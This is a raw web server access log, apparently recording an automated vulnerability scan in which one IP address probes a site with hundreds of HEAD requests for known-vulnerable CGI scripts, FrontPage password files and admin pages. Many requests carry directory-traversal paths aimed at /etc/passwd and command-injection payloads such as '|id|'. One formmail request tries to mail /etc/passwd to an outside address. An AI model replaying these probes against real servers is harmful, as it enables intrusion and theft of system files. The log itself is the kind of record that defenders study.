[17/Jun/2005:19:34:05 -0400] "HEAD /_vti_pvt/access.cnf HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /_vti_pvt/service.cnf HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /_vti_pvt/services.cnf HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /_vti_pvt/services.org HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/writeto.cnf HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/structure.cnf HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/linkinfo.cnf HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/svcacl.cnf HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/service.pwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/service.grp HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/users.pwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/authors.pwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_log/author.log HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_vti_pvt/administrators.pwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:06 -0400] "HEAD /_private/form_results.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /_private/orders.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /_private/register.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /_private/registrations.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /_private/form_results.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /_private/orders.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /_private/register.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /_private/registrations.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /cgi-bin/ws_ftp.ini HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /cfdocs/expeval/displayopenedfile.cfm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /cfdocs/expeval/exprcalc.cfm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /cfdocs/expelval/sendmail.cfm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:07 -0400] "HEAD /cfdocs/examples/httpclient/mainframeset.cfm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /scripts/postings.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /cgi/postings.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /cgi-bin/postings.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /../../../../../boot.ini HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0 HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /cgi-bin/ikonboard/help.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /admin.php3?admin=whatever HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /cgi/cvsweb.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /cgi-bin/cvsweb.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /websrc/cvsweb.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /pccsmysqladm/incs/dbconnect.inc HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:08 -0400] "HEAD /bin/common/user_update_passwd.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /bin/common/user_update_admin.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /bin/create_user_account.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /opt/netscape/suitespot/admin-serv/config/admpw HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /admin-serv/config/admpw HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;id HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /../config/html/cnf_gi.htm HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /docs HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /~root HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /../../../../../../../../../../etc/passwd HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:09 -0400] "HEAD /session/adminlogin?RCpage=/sysadmin/index.stm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /cgi-bin/guestbook.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /cgi-bin/campas HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /graphics/sml3com HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /adsl_pair_select HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /adsl_reset HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /ads/adpassword.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /cgi-bin/adpassword.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /cgi-bin/ads/adpassword.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /cgi-bin/pagelog.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /cgi-bin/page-og.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:10 -0400] "HEAD /cgi-bin/cached_feed.cgi?../../../.+/etc/passwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /cgi-bin/mdma.bat HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /cgi-bin/calender_admin.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /cgi-bin/calender.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /cgi-bin/ceilidh.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /cgi-bin/ceilidh.exe/ceilidh/?N4 HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /cgi-bin/formmail.cgi?env_report=/etc/passwd&recipient=crazy_einstein@yahoo.com&required=&firstname=&lastname=&email=&message=&Submit=hi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /random_banner/index.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /random_banner/index.cgi?image_list=alternative_image.list&html_file=../../../../../etc/passwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /random_banner/index.cgi?image_list=alternative_image.list&html_file=|ls -la| HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /something.php3 HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /cgi-bin/wais.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:11 -0400] "HEAD /wais.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/news/news.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/whois.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/whois.cgi?host=|id| HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/webmail.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/webmail.cgi?subject=;id;&send_to=&response_url=/ HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/finger.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/finger.cgi?host=|id| HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/lookup.cgi?lookup=|id| HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/lookup.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/ping.cgi?host=|id| HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:12 -0400] "HEAD /cgi-bin/ping.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /cgi-bin/finger.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /cgi-bin/finger.pl?ADDR=|id| HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /cgi-bin/traceroute.cgi?host=|id| HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /cgi-bin/traceroute.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /htdocs/_vti_pvt/service.pwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /cgi/cgiproc HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /onlineor.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /~wsapi/cfusion HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /ows-bin/*.bat HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /cgi-bin/cached_feed.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:13 -0400] "HEAD /cgi-bin/webdata_test.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /mailfile.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/lmail.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/formnow.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/maillist.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/click.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/htgrep/htgrep.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/htgrep HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /ap_afodpdemo.shtml HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/passwd%00 HTTP/1.1" 500 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/mailmachine.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:14 -0400] "HEAD /cgi-bin/stats.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /cgi-bin/amlite/amadmin.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /cgi-bin/search/search.cgi?keys=*&prc=any&catigory=../../../../../../../../etc HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0 HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /cgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../etc/resolv.conf%00.html&passurl=/category/ HTTP/1.1" 500 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /.html/............. HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /.html/............./config.sys HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /config.sys HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /s%65cure HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /admcgi/contents.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /admcgi/ HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /admin.php3 HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:15 -0400] "HEAD /showfile.asp HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /aux/ HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /formmail.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /nonexistant.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /domlog.nsf HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /bin/admin.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /bin/cfgwiz.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /bin/contents.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /bin/fpadmin.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /bin/fpremadm.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /bin/fpsrvadm.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /bin/scripts/Fpadmcgi.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:16 -0400] "HEAD /phpPhotoAlbum/explorer.php HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /allmanage.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /allmanage.\xdfgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /allmanageup.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /allmanageup.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /CFIDE/Administrator/startstop.html HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /everythingform.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /form-totaller/form-totaller.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /cgi-bin/.htaccess HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /cgi-bin/.htaccess.old HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /cgi-bin/.htaccess~ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /cgi-bin/.wwwacl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:17 -0400] "HEAD /cgi-bin/post_query HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/post_query.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/nph-error.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/nph-error.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/bb-hist.sh HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/bb-hist HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/cartmanager.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/Admin_files/ HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/dbmlparser.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/rpm_query HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:18 -0400] "HEAD /cgi-bin/cachemgr.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/af.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/ax.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/archive HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/archive.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/archive.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/Iwgate HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/Iwgate.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/Iwgate.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/postcards.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/cardboard.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/ax-admin.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:19 -0400] "HEAD /cgi-bin/nlog-smb.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/webmap.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/webmap.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/nlog-smb.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/nlog-smb HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/redir.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/aglimpse HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/w3-msql HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/alibaba.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/alibaba.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/bnbsurvey.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:20 -0400] "HEAD /cgi-bin/AnyForm2 HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/MachineInfo HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/AT-admin.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/AT-generate.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/clickresponder.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/calender.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/calender_admin.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/dnewsweb HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/bnbform.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/icat HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/AnyForm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/bb-hostsvc.sh HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:21 -0400] "HEAD /cgi-bin/counterfiglet HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/counter-ord HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/counterfiglet-ord HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/counterbanner HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/counterbanner-ord HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/netauth.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/dig.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/get16.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/get32.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/architext_query.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:22 -0400] "HEAD /cgi-bin/architext_query.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/cgiwrap HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/formmail.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/site_ftp.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/stats.prg HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/change-your-password.pl~ HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/classifieds.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/count.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/icat.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/robpoll.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/webmap HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/db_manager.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:23 -0400] "HEAD /cgi-bin/day5datacopier.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/day5datanotifier.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/dumpenv.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/cgi-lib.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - 